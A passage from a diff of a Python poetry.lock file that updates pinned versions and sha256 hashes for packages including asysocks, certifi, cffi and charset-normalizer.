= "asyauth-0.0.20.tar.gz", hash = "sha256:41056020f7689cf5f0a559759c7f02a6ce2719bda84df783bd1058d5781e514b"}, + {file = "asyauth-0.0.21-py3-none-any.whl", hash = "sha256:1098ced8f4dfda74db535bc961e7667714154a440761821e26c8b637c95a2775"}, + {file = "asyauth-0.0.21.tar.gz", hash = "sha256:34cc10c5f8628ff2e25b5116dc98efc5ca45532f163ccd3f9147a3e02dd810eb"}, ] [package.dependencies] @@ -206,13 +203,13 @@ unicrypto = ">=0.0.10" [[package]] name = "asysocks" -version = "0.2.12" +version = "0.2.13" description = "" optional = false python-versions = ">=3.6" files = [ - {file = "asysocks-0.2.12-py3-none-any.whl", hash = "sha256:fe327e165e0eba750989ec34005b706ee68e8357d7d6c6478ebadc88ba482eb7"}, - {file = "asysocks-0.2.12.tar.gz", hash = "sha256:ba296f263b99aef742da6e338570a46f32e3c2d6c2d65896119db461aec5609d"}, + {file = "asysocks-0.2.13-py3-none-any.whl", hash = "sha256:e32f478eac58566162d3e5af02ed6b6625317d9ddf83af22109bd13a24ef721a"}, + {file = "asysocks-0.2.13.tar.gz", hash = "sha256:44185b2c471e63b7293173967eef3b0f5e60ed5cc1b7650a30a9569e49ff25f8"}, ] [package.dependencies] @@ -379,74 +376,89 @@ beautifulsoup4 = "*" [[package]] name = "certifi" -version = "2024.7.4" +version = "2024.8.30" description = "Python package for providing Mozilla's CA Bundle." optional = false python-versions = ">=3.6" files = [ - {file = "certifi-2024.7.4-py3-none-any.whl", hash = "sha256:c198e21b1289c2ab85ee4e67bb4b4ef3ead0892059901a8d5b622f24a1101e90"}, - {file = "certifi-2024.7.4.tar.gz", hash = "sha256:5a1e7645bc0ec61a09e26c36f6106dd4cf40c6db3a1fb6352b0244e7fb057c7b"}, + {file = "certifi-2024.8.30-py3-none-any.whl", hash = "sha256:922820b53db7a7257ffbda3f597266d435245903d80737e34f8a45ff3e3230d8"}, + {file = "certifi-2024.8.30.tar.gz", hash = "sha256:bec941d2aa8195e248a60b31ff9f0558284cf01a52591ceda73ea9afffd69fd9"}, ] [[package]] name = "cffi" -version = "1.16.0" +version = "1.17.1" description = "Foreign Function Interface for Python calling C code." optional = false python-versions = ">=3.8" files = [ - {file = "cffi-1.16.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:6b3d6606d369fc1da4fd8c357d026317fbb9c9b75d36dc16e90e84c26854b088"}, - {file = "cffi-1.16.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:ac0f5edd2360eea2f1daa9e26a41db02dd4b0451b48f7c318e217ee092a213e9"}, - {file = "cffi-1.16.0-cp310-cp310-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7e61e3e4fa664a8588aa25c883eab612a188c725755afff6289454d6362b9673"}, - {file = "cffi-1.16.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a72e8961a86d19bdb45851d8f1f08b041ea37d2bd8d4fd19903bc3083d80c896"}, - {file = "cffi-1.16.0-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5b50bf3f55561dac5438f8e70bfcdfd74543fd60df5fa5f62d94e5867deca684"}, - {file = "cffi-1.16.0-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:7651c50c8c5ef7bdb41108b7b8c5a83013bfaa8a935590c5d74627c047a583c7"}, - {file = "cffi-1.16.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e4108df7fe9b707191e55f33efbcb2d81928e10cea45527879a4749cbe472614"}, - {file = "cffi-1.16.0-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:32c68ef735dbe5857c810328cb2481e24722a59a2003018885514d4c09af9743"}, - {file = "cffi-1.16.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:673739cb539f8cdaa07d92d02efa93c9ccf87e345b9a0b556e3ecc666718468d"}, - {file = "cffi-1.16.0-cp310-cp310-win32.whl", hash = "sha256:9f90389693731ff1f659e55c7d1640e2ec43ff725cc61b04b2f9c6d8d017df6a"}, - {file = "cffi-1.16.0-cp310-cp310-win_amd64.whl", hash = "sha256:e6024675e67af929088fda399b2094574609396b1decb609c55fa58b028a32a1"}, - {file = "cffi-1.16.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:b84834d0cf97e7d27dd5b7f3aca7b6e9263c56308ab9dc8aae9784abb774d404"}, - {file = "cffi-1.16.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:1b8ebc27c014c59692bb2664c7d13ce7a6e9a629be20e54e7271fa696ff2b417"}, - {file = "cffi-1.16.0-cp311-cp311-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ee07e47c12890ef248766a6e55bd38ebfb2bb8edd4142d56db91b21ea68b7627"}, - {file = "cffi-1.16.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d8a9d3ebe49f084ad71f9269834ceccbf398253c9fac910c4fd7053ff1386936"}, - {file = "cffi-1.16.0-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:e70f54f1796669ef691ca07d046cd81a29cb4deb1e5f942003f401c0c4a2695d"}, - {file = "cffi-1.16.0-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:5bf44d66cdf9e893637896c7faa22298baebcd18d1ddb6d2626a6e39793a1d56"}, - {file = "cffi-1.16.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7b78010e7b97fef4bee1e896df8a4bbb6712b7f05b7ef630f9d1da00f6444d2e"}, - {file = "cffi-1.16.0-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:c6a164aa47843fb1b01e941d385aab7215563bb8816d80ff3a363a9f8448a8dc"}, - {file = "cffi-1.16.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:e09f3ff613345df5e8c3667da1d918f9149bd623cd9070c983c013792a9a62eb"}, - {file = "cffi-1.16.0-cp311-cp311-win32.whl", hash = "sha256:2c56b361916f390cd758a57f2e16233eb4f64bcbeee88a4881ea90fca14dc6ab"}, - {file = "cffi-1.16.0-cp311-cp311-win_amd64.whl", hash = "sha256:db8e577c19c0fda0beb7e0d4e09e0ba74b1e4c092e0e40bfa12fe05b6f6d75ba"}, - {file = "cffi-1.16.0-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:fa3a0128b152627161ce47201262d3140edb5a5c3da88d73a1b790a959126956"}, - {file = "cffi-1.16.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:68e7c44931cc171c54ccb702482e9fc723192e88d25a0e133edd7aff8fcd1f6e"}, - {file = "cffi-1.16.0-cp312-cp312-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:abd808f9c129ba2beda4cfc53bde801e5bcf9d6e0f22f095e45327c038bfe68e"}, - {file = "cffi-1.16.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:88e2b3c14bdb32e440be531ade29d3c50a1a59cd4e51b1dd8b0865c54ea5d2e2"}, - {file = "cffi-1.16.0-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:fcc8eb6d5902bb1cf6dc4f187ee3ea80a1eba0a89aba40a5cb20a5087d961357"}, - {file = "cffi-1.16.0-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b7be2d771cdba2942e13215c4e340bfd76398e9227ad10402a8767ab1865d2e6"}, - {file = "cffi-1.16.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e715596e683d2ce000574bae5d07bd522c781a822866c20495e52520564f0969"}, - {file = "cffi-1.16.0-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:2d92b25dbf6cae33f65005baf472d2c245c050b1ce709cc4588cdcdd5495b520"}, - {file = "cffi-1.16.0-cp312-cp312-win32.whl", hash = "sha256:b2ca4e77f9f47c55c194982e10f058db063937845bb2b7a86c84a6cfe0aefa8b"}, - {file = "cffi-1.16.0-cp312-cp312-win_amd64.whl", hash = "sha256:68678abf380b42ce21a5f2abde8efee05c114c2fdb2e9eef2efdb0257fba1235"}, - {file = "cffi-1.16.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:0c9ef6ff37e974b73c25eecc13952c55bceed9112be2d9d938ded8e856138bcc"}, - {file = "cffi-1.16.0-cp38-cp38-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a09582f178759ee8128d9270cd1344154fd473bb77d94ce0aeb2a93ebf0feaf0"}, - {file = "cffi-1.16.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e760191dd42581e023a68b758769e2da259b5d52e3103c6060ddc02c9edb8d7b"}, - {file = "cffi-1.16.0-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:80876338e19c951fdfed6198e70bc88f1c9758b94578d5a7c4c91a87af3cf31c"}, - {file = "cffi-1.16.0-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a6a14b17d7e17fa0d207ac08642c8820f84f25ce17a442fd15e27ea18d67c59b"}, - {file = "cffi-1.16.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6602bc8dc6f3a9e02b6c22c4fc1e47aa50f8f8e6d3f78a5e16ac33ef5fefa324"}, - {file = "cffi-1.16.0-cp38-cp38-win32.whl", hash = "sha256:131fd094d1065b19540c3d72594260f118b231090295d8c34e19a7bbcf2e860a"}, - {file = "cffi-1.16.0-cp38-cp38-win_amd64.whl", hash = "sha256:31d13b0f99e0836b7ff893d37af07366ebc90b678b6664c955b54561fc36ef36"}, - {file = "cffi-1.16.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:582215a0e9adbe0e379761260553ba11c58943e4bbe9c36430c4ca6ac74b15ed"}, - {file = "cffi-1.16.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:b29ebffcf550f9da55bec9e02ad430c992a87e5f512cd63388abb76f1036d8d2"}, - {file = "cffi-1.16.0-cp39-cp39-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:dc9b18bf40cc75f66f40a7379f6a9513244fe33c0e8aa72e2d56b0196a7ef872"}, - {file = "cffi-1.16.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9cb4a35b3642fc5c005a6755a5d17c6c8b6bcb6981baf81cea8bfbc8903e8ba8"}, - {file = "cffi-1.16.0-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:b86851a328eedc692acf81fb05444bdf1891747c25af7529e39ddafaf68a4f3f"}, - {file = "cffi-1.16.0-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:c0f31130ebc2d37cdd8e44605fb5fa7ad59049298b3f745c74fa74c62fbfcfc4"}, - {file = "cffi-1.16.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8f8e709127c6c77446a8c0a8c8bf3c8ee706a06cd44b1e827c3e6a2ee6b8c098"}, - {file = "cffi-1.16.0-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:748dcd1e3d3d7cd5443ef03ce8685043294ad6bd7c02a38d1bd367cfd968e000"}, - {file = "cffi-1.16.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:8895613bcc094d4a1b2dbe179d88d7fb4a15cee43c052e8885783fac397d91fe"}, - {file = "cffi-1.16.0-cp39-cp39-win32.whl", hash = "sha256:ed86a35631f7bfbb28e108dd96773b9d5a6ce4811cf6ea468bb6a359b256b1e4"}, - {file = "cffi-1.16.0-cp39-cp39-win_amd64.whl", hash = "sha256:3686dffb02459559c74dd3d81748269ffb0eb027c39a6fc99502de37d501faa8"}, - {file = "cffi-1.16.0.tar.gz", hash = "sha256:bcb3ef43e58665bbda2fb198698fcae6776483e0c4a631aa5647806c25e02cc0"}, + {file = "cffi-1.17.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:df8b1c11f177bc2313ec4b2d46baec87a5f3e71fc8b45dab2ee7cae86d9aba14"}, + {file = "cffi-1.17.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:8f2cdc858323644ab277e9bb925ad72ae0e67f69e804f4898c070998d50b1a67"}, + {file = "cffi-1.17.1-cp310-cp310-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:edae79245293e15384b51f88b00613ba9f7198016a5948b5dddf4917d4d26382"}, + {file = "cffi-1.17.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:45398b671ac6d70e67da8e4224a065cec6a93541bb7aebe1b198a61b58c7b702"}, + {file = "cffi-1.17.1-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:ad9413ccdeda48c5afdae7e4fa2192157e991ff761e7ab8fdd8926f40b160cc3"}, + {file = "cffi-1.17.1-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:5da5719280082ac6bd9aa7becb3938dc9f9cbd57fac7d2871717b1feb0902ab6"}, + {file = "cffi-1.17.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2bb1a08b8008b281856e5971307cc386a8e9c5b625ac297e853d36da6efe9c17"}, + {file = "cffi-1.17.1-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:045d61c734659cc045141be4bae381a41d89b741f795af1dd018bfb532fd0df8"}, + {file = "cffi-1.17.1-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:6883e737d7d9e4899a8a695e00ec36bd4e5e4f18fabe0aca0efe0a4b44cdb13e"}, + {file = "cffi-1.17.1-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:6b8b4a92e1c65048ff98cfe1f735ef8f1ceb72e3d5f0c25fdb12087a23da22be"}, + {file = "cffi-1.17.1-cp310-cp310-win32.whl", hash = "sha256:c9c3d058ebabb74db66e431095118094d06abf53284d9c81f27300d0e0d8bc7c"}, + {file = "cffi-1.17.1-cp310-cp310-win_amd64.whl", hash = "sha256:0f048dcf80db46f0098ccac01132761580d28e28bc0f78ae0d58048063317e15"}, + {file = "cffi-1.17.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:a45e3c6913c5b87b3ff120dcdc03f6131fa0065027d0ed7ee6190736a74cd401"}, + {file = "cffi-1.17.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:30c5e0cb5ae493c04c8b42916e52ca38079f1b235c2f8ae5f4527b963c401caf"}, + {file = "cffi-1.17.1-cp311-cp311-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f75c7ab1f9e4aca5414ed4d8e5c0e303a34f4421f8a0d47a4d019ceff0ab6af4"}, + {file = "cffi-1.17.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a1ed2dd2972641495a3ec98445e09766f077aee98a1c896dcb4ad0d303628e41"}, + {file = "cffi-1.17.1-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:46bf43160c1a35f7ec506d254e5c890f3c03648a4dbac12d624e4490a7046cd1"}, + {file = "cffi-1.17.1-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a24ed04c8ffd54b0729c07cee15a81d964e6fee0e3d4d342a27b020d22959dc6"}, + {file = "cffi-1.17.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:610faea79c43e44c71e1ec53a554553fa22321b65fae24889706c0a84d4ad86d"}, + {file = "cffi-1.17.1-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:a9b15d491f3ad5d692e11f6b71f7857e7835eb677955c00cc0aefcd0669adaf6"}, + {file = "cffi-1.17.1-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:de2ea4b5833625383e464549fec1bc395c1bdeeb5f25c4a3a82b5a8c756ec22f"}, + {file = "cffi-1.17.1-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:fc48c783f9c87e60831201f2cce7f3b2e4846bf4d8728eabe54d60700b318a0b"}, + {file = "cffi-1.17.1-cp311-cp311-win32.whl", hash = "sha256:85a950a4ac9c359340d5963966e3e0a94a676bd6245a4b55bc43949eee26a655"}, + {file = "cffi-1.17.1-cp311-cp311-win_amd64.whl", hash = "sha256:caaf0640ef5f5517f49bc275eca1406b0ffa6aa184892812030f04c2abf589a0"}, + {file = "cffi-1.17.1-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:805b4371bf7197c329fcb3ead37e710d1bca9da5d583f5073b799d5c5bd1eee4"}, + {file = "cffi-1.17.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:733e99bc2df47476e3848417c5a4540522f234dfd4ef3ab7fafdf555b082ec0c"}, + {file = "cffi-1.17.1-cp312-cp312-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1257bdabf294dceb59f5e70c64a3e2f462c30c7ad68092d01bbbfb1c16b1ba36"}, + {file = "cffi-1.17.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:da95af8214998d77a98cc14e3a3bd00aa191526343078b530ceb0bd710fb48a5"}, + {file = "cffi-1.17.1-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:d63afe322132c194cf832bfec0dc69a99fb9bb6bbd550f161a49e9e855cc78ff"}, + {file = "cffi-1.17.1-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:f79fc4fc25f1c8698ff97788206bb3c2598949bfe0fef03d299eb1b5356ada99"}, + {file = "cffi-1.17.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b62ce867176a75d03a665bad002af8e6d54644fad99a3c70905c543130e39d93"}, + {file = "cffi-1.17.1-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:386c8bf53c502fff58903061338ce4f4950cbdcb23e2902d86c0f722b786bbe3"}, + {file = "cffi-1.17.1-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:4ceb10419a9adf4460ea14cfd6bc43d08701f0835e979bf821052f1805850fe8"}, + {file = "cffi-1.17.1-cp312-cp312-win32.whl", hash = "sha256:a08d7e755f8ed21095a310a693525137cfe756ce62d066e53f502a83dc550f65"}, + {file = "cffi-1.17.1-cp312-cp312-win_amd64.whl", hash = "sha256:51392eae71afec0d0c8fb1a53b204dbb3bcabcb3c9b807eedf3e1e6ccf2de903"}, + {file = "cffi-1.17.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:f3a2b4222ce6b60e2e8b337bb9596923045681d71e5a082783484d845390938e"}, + {file = "cffi-1.17.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:0984a4925a435b1da406122d4d7968dd861c1385afe3b45ba82b750f229811e2"}, + {file = "cffi-1.17.1-cp313-cp313-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d01b12eeeb4427d3110de311e1774046ad344f5b1a7403101878976ecd7a10f3"}, + {file = "cffi-1.17.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:706510fe141c86a69c8ddc029c7910003a17353970cff3b904ff0686a5927683"}, + {file = "cffi-1.17.1-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:de55b766c7aa2e2a3092c51e0483d700341182f08e67c63630d5b6f200bb28e5"}, + {file = "cffi-1.17.1-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:c59d6e989d07460165cc5ad3c61f9fd8f1b4796eacbd81cee78957842b834af4"}, + {file = "cffi-1.17.1-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dd398dbc6773384a17fe0d3e7eeb8d1a21c2200473ee6806bb5e6a8e62bb73dd"}, + {file = "cffi-1.17.1-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:3edc8d958eb099c634dace3c7e16560ae474aa3803a5df240542b305d14e14ed"}, + {file = "cffi-1.17.1-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:72e72408cad3d5419375fc87d289076ee319835bdfa2caad331e377589aebba9"}, + {file = "cffi-1.17.1-cp313-cp313-win32.whl", hash = "sha256:e03eab0a8677fa80d646b5ddece1cbeaf556c313dcfac435ba11f107ba117b5d"}, + {file = "cffi-1.17.1-cp313-cp313-win_amd64.whl", hash = "sha256:f6a16c31041f09ead72d69f583767292f750d24913dadacf5756b966aacb3f1a"}, + {file = "cffi-1.17.1-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:636062ea65bd0195bc012fea9321aca499c0504409f413dc88af450b57ffd03b"}, + {file = "cffi-1.17.1-cp38-cp38-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c7eac2ef9b63c79431bc4b25f1cd649d7f061a28808cbc6c47b534bd789ef964"}, + {file = "cffi-1.17.1-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e221cf152cff04059d011ee126477f0d9588303eb57e88923578ace7baad17f9"}, + {file = "cffi-1.17.1-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:31000ec67d4221a71bd3f67df918b1f88f676f1c3b535a7eb473255fdc0b83fc"}, + {file = "cffi-1.17.1-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:6f17be4345073b0a7b8ea599688f692ac3ef23ce28e5df79c04de519dbc4912c"}, + {file = "cffi-1.17.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0e2b1fac190ae3ebfe37b979cc1ce69c81f4e4fe5746bb401dca63a9062cdaf1"}, + {file = "cffi-1.17.1-cp38-cp38-win32.whl", hash = "sha256:7596d6620d3fa590f677e9ee430df2958d2d6d6de2feeae5b20e82c00b76fbf8"}, + {file = "cffi-1.17.1-cp38-cp38-win_amd64.whl", hash = "sha256:78122be759c3f8a014ce010908ae03364d00a1f81ab5c7f4a7a5120607ea56e1"}, + {file = "cffi-1.17.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:b2ab587605f4ba0bf81dc0cb08a41bd1c0a5906bd59243d56bad7668a6fc6c16"}, + {file = "cffi-1.17.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:28b16024becceed8c6dfbc75629e27788d8a3f9030691a1dbf9821a128b22c36"}, + {file = "cffi-1.17.1-cp39-cp39-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1d599671f396c4723d016dbddb72fe8e0397082b0a77a4fab8028923bec050e8"}, + {file = "cffi-1.17.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ca74b8dbe6e8e8263c0ffd60277de77dcee6c837a3d0881d8c1ead7268c9e576"}, + {file = "cffi-1.17.1-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f7f5baafcc48261359e14bcd6d9bff6d4b28d9103847c9e136694cb0501aef87"}, + {file = "cffi-1.17.1-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:98e3969bcff97cae1b2def8ba499ea3d6f31ddfdb7635374834cf89a1a08ecf0"}, + {file = "cffi-1.17.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cdf5ce3acdfd1661132f2a9c19cac174758dc2352bfe37d98aa7512c6b7178b3"}, + {file = "cffi-1.17.1-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:9755e4345d1ec879e3849e62222a18c7174d65a6a92d5b346b1863912168b595"}, + {file = "cffi-1.17.1-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:f1e22e8c4419538cb197e4dd60acc919d7696e5ef98ee4da4e01d3f8cfa4cc5a"}, + {file = "cffi-1.17.1-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:c03e868a0b3bc35839ba98e74211ed2b05d2119be4e8a0f224fba9384f1fe02e"}, + {file = "cffi-1.17.1-cp39-cp39-win32.whl", hash = "sha256:e31ae45bc2e29f6b2abd0de1cc3b9d5205aa847cafaecb8af1476a609a2f6eb7"}, + {file = "cffi-1.17.1-cp39-cp39-win_amd64.whl", hash = "sha256:d016c76bdd850f3c626af19b0542c9677ba156e4ee4fccfdd7848803533ef662"}, + {file = "cffi-1.17.1.tar.gz", hash = "sha256:1c39c6016c32bc48dd54561950ebd6836e1670f2ae46128f67cf49e789c52824"}, ] [package.dependencies] @@ -454,101 +466,116 @@ pycparser = "*" [[package]] name = "charset-normalizer" -version = "3.3.2" +version = "3.4.0" description = "The Real First Universal Charset Detector. Open, modern and actively maintained alternative to Chardet." optional = false python-versions = ">=3.7.0" files = [ - {file = "charset-normalizer-3.3.2.tar.gz", hash = "sha256:f30c3cb33b24454a82faecaf01b19c18562b1e89558fb6c56de4d9118a032fd5"}, - {file = "charset_normalizer-3.3.2-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:25baf083bf6f6b341f4121c2f3c548875ee6f5339300e08be3f2b2ba1721cdd3"}, - {file = "charset_normalizer-3.3.2-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:06435b539f889b1f6f4ac1758871aae42dc3a8c0e24ac9e60c2384973ad73027"}, - {file = "charset_normalizer-3.3.2-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:9063e24fdb1e498ab71cb7419e24622516c4a04476b17a2dab57e8baa30d6e03"}, - {file = "charset_normalizer-3.3.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6897af51655e3691ff853668779c7bad41579facacf5fd7253b0133308cf000d"}, - {file = "charset_normalizer-3.3.2-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:1d3193f4a680c64b4b6a9115943538edb896edc190f0b222e73761716519268e"}, - {file = "charset_normalizer-3.3.2-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:cd70574b12bb8a4d2aaa0094515df2463cb429d8536cfb6c7ce983246983e5a6"}, - {file = "charset_normalizer-3.3.2-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8465322196c8b4d7ab6d1e049e4c5cb460d0394da4a27d23cc242fbf0034b6b5"}, - {file = "charset_normalizer-3.3.2-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a9a8e9031d613fd2009c182b69c7b2c1ef8239a0efb1df3f7c8da66d5dd3d537"}, - {file = "charset_normalizer-3.3.2-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:beb58fe5cdb101e3a055192ac291b7a21e3b7ef4f67fa1d74e331a7f2124341c"}, - {file = "charset_normalizer-3.3.2-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:e06ed3eb3218bc64786f7db41917d4e686cc4856944f53d5bdf83a6884432e12"}, - {file = "charset_normalizer-3.3.2-cp310-cp310-musllinux_1_1_ppc64le.whl", hash = "sha256:2e81c7b9c8979ce92ed306c249d46894776a909505d8f5a4ba55b14206e3222f"}, - {file = "charset_normalizer-3.3.2-cp310-cp310-musllinux_1_1_s390x.whl", hash = "sha256:572c3763a264ba47b3cf708a44ce965d98555f618ca42c926a9c1616d8f34269"}, - {file = "charset_normalizer-3.3.2-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:fd1abc0d89e30cc4e02e4064dc67fcc51bd941eb395c502aac3ec19fab46b519"}, - {file = "charset_normalizer-3.3.2-cp310-cp310-win32.whl", hash = "sha256:3d47fa203a7bd9c5b6cee4736ee84ca03b8ef23193c0d1ca99b5089f72645c73"}, - {file = "charset_normalizer-3.3.2-cp310-cp310-win_amd64.whl", hash = "sha256:10955842570876604d404661fbccbc9c7e684caf432c09c715ec38fbae45ae09"}, - {file = "charset_normalizer-3.3.2-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:802fe99cca7457642125a8a88a084cef28ff0cf9407060f7b93dca5aa25480db"}, - {file = "charset_normalizer-3.3.2-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:573f6eac48f4769d667c4442081b1794f52919e7edada77495aaed9236d13a96"}, - {file = "charset_normalizer-3.3.2-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:549a3a73da901d5bc3ce8d24e0600d1fa85524c10287f6004fbab87672bf3e1e"}, - {file = "charset_normalizer-3.3.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f27273b60488abe721a075bcca6d7f3964f9f6f067c8c4c605743023d7d3944f"}, - {file = "charset_normalizer-3.3.2-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = 